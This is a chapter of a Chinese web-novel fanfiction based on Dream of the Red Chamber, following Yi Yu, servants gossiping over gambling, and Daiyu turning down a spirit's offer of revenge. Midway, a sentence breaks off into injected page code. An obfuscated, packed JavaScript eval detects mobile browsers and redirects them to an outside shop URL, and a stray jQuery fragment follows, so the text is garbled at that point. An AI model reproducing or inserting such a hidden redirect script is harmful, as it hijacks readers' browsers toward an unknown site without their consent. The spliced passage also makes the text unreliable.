夏日是迟迟不愿归巢的倦鸟，秋景在望，烈日仍炙烤着树梢。
叶缘打着卷得发黄，月初的当口，太子妃又要到寺里进香。
她的母亲仍病着，二婶却也因故不能前往。
易榆迟来得想到，她二婶娘家的外甥，也蒙赖父辈恩荫，在户部挂虚名呢。
想到这一事的时候，易榆的心便上了轿辇。摇摇摆摆，抛得那么高。只是猜不到实处，又极恐惧要落在地上……
“娘娘。”灵翠好像只在最后一声才张口说话，前面干张着嘴巴，却叫易榆听不见一点声响。易榆自己也干张了张嘴，隔了许久才听见自己的声音在应答。
“怎么？”
灵翠早将话说过一遍，这会听易榆再问，不免多朝易榆的脸上望几眼。
易榆却避开。
“娘娘，这回可还要请上林姑娘？”
她这一句话问来，堪堪压下去的酸苦却又翻涌上来。易榆怔愣着坐在桌边，想到听人说起，被太子拿来开刀的那个正跟荣国府有亲缘。
她该带上黛玉么？她许久没见自己相熟亲近之人，心底里实在想念。现如今的日子似饮过热的补汤，先一阵鲜甜，后来便什么滋味也尝不出来。人人都道这是她的机缘，可肚里燎起的泡疮，却也只她一人知觉。
诚郡王回京的消息已然传开，虽说是遭了陛下斥责，可到底这朝堂不容得太子自专。太子殿下心头恼火，便要紧着把手头的事先处置完全。
外面的人名单一茬茬地落，又不知道有几位大人要升官。她的二婶是否也因此遭到娘家怨怪？她的二婶是不是因此才不愿来？易榆不知道，可即便知道，她也没法子阻拦。
难不成她能求到太子跟前，要他单绕过二婶娘家的外甥，又或者留下荣国府亲戚家的少爷？
想到这，易榆竟微微地笑了。只是眼睛嘴巴一齐向下撇着，远望去，好像是神佛作乱，在她脸上捏一个鬼脸。
可易榆没看清这些，她只摸摸自己的脸，冰凉凉的，却疑心没严丝合缝得生在骨肉前。她该不该叫黛玉来？若是叫来，那府里的人保不齐就盼着她能求情讨饶，叫自家府里少受牵连。
易榆是不怕黛玉求情的，她只怕黛玉求了，她自个却做不得什么。到头来那些人进不了宫门，却要把丑话盖到黛玉脸上，恨她没轻易许诺身家，不能为这府里排忧解难。
若是这般想，她就不应当将黛玉牵扯进来。好歹熬过这些风声，也好过叫她在那里头扎眼
“到时候吩咐嬷嬷去说吧，我跟黛玉也许久没见，正好叫她出来来松快松快。”
可她又很想念，即便只是一眼，也顶想见见故人的面。
易榆想，她自个现在却变得这样坏。
灵翠却不知她现在心里想的什么，听得外面人声，便掀开帘子去到外间。与小丫头嘀嘀咕咕一阵，方才笑着回来。
“娘娘，贾女史来了。”
易榆循声看去，不知怎么，只觉得二人中间隔着一门火炭。热气蒸腾，却将灵翠的脸也蒸得扭曲起来。
外面的气浪鼓鼓得叫嚣着，一面热讽，一面又细细地念叨着冷嘲。这后面的一遭尤其可恶，前面起出一身汗，遭凉风一吹，夜里一准胸闷气短。
荣国府里的男仆女婢，大小丫头，这阵子都懒洋洋坐在廊下面。趁着一阵浓云遮盖，却支棱起身子，又趁兴接着玩牌。
这傍晚的时候赌运最好，似乎在晨昏交接的当口，那些妖鬼也出来。附在骰子上，拽着人的手腕，直叫人舍不得撒开。
“咱们这样能拿几个钱？说不说啊，还得叫主子赏脸。”其中一个不知是不是输得惨了，这一把终结，便撒开手去，身子仰躺在后面。
“这话倒是不骗人。”另一个额头顶上贴个药膏，黑乎乎一片，衬得面膛格外洁白。可一但他咧开嘴，那一口的黄黑牙齿，又显得脸上乌青，实在称不上讨人喜欢。
他自个也不在乎这些，见旁边几个都撒手，便赶忙趁机看看人家的牌。估摸这局自己本来能赢钱，可惜不迭，一时气性也上来。
“你瞧那谁——他老妈妈前面不就是在老太太跟前得脸？不知拿了多少赏钱……衣裳也换了，债也给填了。说不准什么时候，就又娶个媳妇回来。”
“且有得等呢。”另一个冷笑：“新衣当了，接着穿旧衫。天大的窟窿补了，他也能再捅穿。”
“又欠赌债？”
“又欠赌债。”
“那也没怎的，他老妈妈不能再给他抓钱？”
“他老妈妈做那一锤子买卖——跟着林姑娘去过几次易府……”接话的那个说到这里，陡然谨慎起来。他四下张望，见无人理会这边，便伏低身子，跟他们道：“我听说，那老货做了假媒人，骗着老太太好些银钱。只是老爷太太不肯声张，怕丢这脸，这才说放到庄子上，还继续给吃喝供养呢。”
“嗐——”
他这神神秘秘的，周边几个却兴致缺缺。贴膏药的那个一摆手，讥笑道：“你这是前朝的黄历，咱们这些人哪个不知道这些。这不就说着那事……主子们手指缝里漏个一星半点，也够咱们好吃好穿。”
“你要说这般，那薛家可是肯散财。”那人见自己成了最后知道的，自觉丢脸，这时赶忙强声道：“可你这会再看？唉，也不知往后怎的。依我看呐，还不如巴望巴望那林老爷，听说也有望升官？就是可惜，啧啧……”
一说到这些，其余几个却也不再啧声。手里的牌陡然失了趣味，中间有个声音怯怯道：“你们说，那薛大爷会不会——”
他抬手做一个抹脖子的动作，贴膏药的那个却陡然支棱起来。
“你们赌不赌？”
“赌什么？”
“赌生死啊——就赌你说的那个——来来来，凑几个人去，咱们再来一盘。”
方熄灭的声音又火热起来，兴致上头，热浪却也不再难捱。
夫人将手垂放在黛玉肩上，只觉得那纤瘦的小身板正颤颤。
“你看。”她的脸上带着点笑，声音却冷下来：“你平素不来这边，自然不知这些人的嘴脸有多么难看。我从前叫你狠一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778520|204555||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狠心，为的却也是你的将来。”
见黛玉仍望着前方，夫人又道：“今日都还好些，你没听得他们议论你家的事。那些话，我自个羞于启齿，可我那时听得，心里难受得很，这才生出主意，想替你叫他们也尝尝苦难。”
夫人不需明言，只见他们这会的嘴脸，黛玉便知觉平素又起什么风言。那未尽的‘可惜’自在她眼前补全，可待夫人话音落下，那颤颤却也随着热浪蒸干。
替她叫他们尝尝苦难。
夫人与程九商议，是要舍了一人性命，来填自家的空缺。黛玉虽不意薛蟠如何，只想律法公平决断。
可夫人若这般轻易将他人性命拿来取用，此刻应许的‘苦头’，又到底是怎么个深浅？
泥人也有三分火气，黛玉在这边，自然也不是一无伤怀。夫人说要替她出气，夜深人静的时候，畅快却也随着往日的委屈翻涌上来。
可天刚刚明亮的时候，黛玉又自个把委屈压制下来。
她心中确实有恼，却也怕这会轻易借着夫人的法力发泄出去，便要如眼下赌桌上的嘴脸。
一枚小小的骰子，从一开始，却只增不减。等到经尝过其中好处，便再难下去拿赌桌，只将身边人都牵扯进来。
有法力遮盖，黛玉并不怕那些人看见、听见。夫人的手仍搂在她肩上，那融融的，母亲一样的暖香还留在鼻尖。
可这一回，黛玉却竟没觉得眼热鼻酸。她想着夫人先找程九，又要她‘狠下心来’，如今更是带她亲眼看看这里面的丑态，却不知背后究竟有什么打算。
眼前的赌局已然凑齐，各人脸上都是笑颜。他们身上窜出来的热浪过到这边，却叫黛玉不自禁打个寒颤。
“怎么？”夫人低低笑了，又俯下腰身，细看黛玉的眉眼：“想好了？别担心，我不要他们的性命，只叫他们晓得祸从口出，是从古就传下来的至理名言——不管是这家的，薛家的，还是……”
“我不想……”
“什么？”夫人陡然直起身子，她的话里没了笑。两手摩挲着，纤细冰凉，一路扣在黛玉的脖颈上：“你说，什么？”
“我不想。”到这时，黛玉的肩膀却松缓下来。一瞬间，父亲、母亲的脸闪现。她想，是她累得程九认得夫人，若是在这边终结，她实在也没甚怨言。
也许她要去寻母亲，只可惜将父亲一人留在这世间。
“夫人。”黛玉的小手扣在夫人手上，只堪堪盖过她的手面。
“夫人，你说要替我出气，我心中感念。只是……”
只是她实在张不开唇齿，将他人当作玩具耍玩。
脖颈上的手慢慢缩紧，黛玉却想到那一晚自己离魂。程九脖颈上漆黑的手印……
也不知程九离魂的病症是否可解。
在这当口，一切杂乱的声音都停歇。黛玉动也不动，夫人的手却骤然松开。
“好孩子。”她搂抱住黛玉，却将她一整个人抱离地面，紧紧环在臂弯之间。
“好孩子，我真怕你方才答应下来……”